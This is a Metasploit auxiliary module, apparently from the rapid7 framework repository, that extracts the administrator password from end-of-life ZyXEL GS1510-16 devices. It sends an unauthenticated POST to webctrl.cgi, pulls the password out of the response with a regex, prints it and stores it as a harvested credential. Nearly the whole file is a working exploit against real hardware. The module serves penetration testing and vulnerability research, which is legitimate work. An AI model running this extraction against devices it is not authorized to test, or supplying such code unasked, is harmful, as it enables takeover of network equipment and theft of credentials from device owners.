rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(
      'Name' => 'ZyXEL GS1510-16 Password Extractor',
      'Description' => %q{
          This module exploits a vulnerability in ZyXEL GS1510-16 routers
          to extract the admin password. Due to a lack of authentication on the
          webctrl.cgi script, unauthenticated attackers can recover the
          administrator password for these devices. The vulnerable device
          has reached end of life for support from the manufacturer, so it is
          unlikely this problem will be addressed.
      },
      'References' => [
        [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2709' ]
      ],
      'Author' => [
        'Daniel Manser', # @antsygeek
        'Sven Vetsch' # @disenchant_ch
      ],
      'License' => MSF_LICENSE
    )
  end

  def run
    print_status("Trying to get 'admin' user password ...")
    res = send_request_cgi({
      'uri' => '/webctrl.cgi',
      'method' => 'POST',
      'vars_post' => {
        'username' => 'admin',
        'password' => Rex::Text.rand_text_alphanumeric(rand(4..7)).to_s,
        'action' => 'cgi_login'
      }
    }, 10)

    if (res && res.code == 200)
      print_status('Got response from router.')
    else
      print_error('Unexpected HTTP response code.')
      return
    end

    admin_password = ''
    admin_password_matches = res.body.match(/show_user\(1,"admin","(.+)"/)

    if !admin_password_matches
      print_error('Could not obtain admin password')
      return
    else
      admin_password = admin_password_matches[1]
      print_good("Password for user 'admin' is: #{admin_password}")

      connection_details = {
        module_fullname: fullname,
        username: 'admin',
        private_data: admin_password,
        private_type: :password,
        status: Metasploit::Model::Login::Status::UNTRIED,
        proof: res.body
      }.merge(service_details)
      create_credential_and_login(connection_details) # makes service_name more consistent
    end
  rescue ::Rex::ConnectionError
    print_error("#{rhost}:#{rport} - Failed to connect")
    return
  end
end